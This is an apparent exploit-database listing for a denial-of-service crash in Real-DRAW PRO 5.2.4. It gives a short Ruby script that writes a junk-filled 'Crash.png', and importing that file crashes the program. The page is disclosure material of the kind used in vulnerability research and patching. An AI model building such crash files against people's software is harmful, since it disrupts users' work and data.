header-logo
Suggest Exploit
vendor:
Real-DRAW PRO
by:
Ahmed Elhady Mohamed
N/A
CVSS
N/A
Denial of Service
Unknown
CWE
Product Name: Real-DRAW PRO
Affected Version From: 5.2.4
Affected Version To: 5.2.4
Patch Exists: Unknown
Related CWE: Unknown
CPE: Unknown
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows XP SP3
Unknown

Real-DRAW PRO 5.2.4 Import File Crash

Real-DRAW PRO 5.2.4 crashes while importing a crafted PNG, WMF, PSD, TGA, TTF, BMP, TIFF and PCX file. To trigger the exploit, go to file->Import.

Mitigation:

Unknown
Source

Exploit-DB raw data:

Real-DRAW PRO 5.2.4 Import File Crash
===================================================================================
# Exploit Title:Real-DRAW PRO 5.2.4 Malicious PNG File Denial of service
# Vendor : http://www.mediachance.com/
# Author: Ahmed Elhady Mohamed
# Email : ahmed.elhady.mohamed@gmail.com
# Website: www.infosec4all.tk
# version: 5.2.4
# Category: DOS
# Tested on: windows XP SP3
===================================================================================



########################################DESC#############################################
#Real-Draw seamlessly combines vector tools with the rich look of pixel based images and#
#innovative natural paint techniques into a single graphics editor.                     #
#########################################################################################

########################################################################################
#Real-DRAW PRO 5.2.4 crashes while importing a crafted PNG, WMF, PSD, TGA, TTF, BMP,   #
#TIFF and PCX file                                                                     #
#To trigger the exploit , go to file->Import                                           #
########################################################################################

 
#!/usr/bin/ruby
 

File.open "Crash.png" , "w" do |file|
junk = "A" *1000
file.write junk
end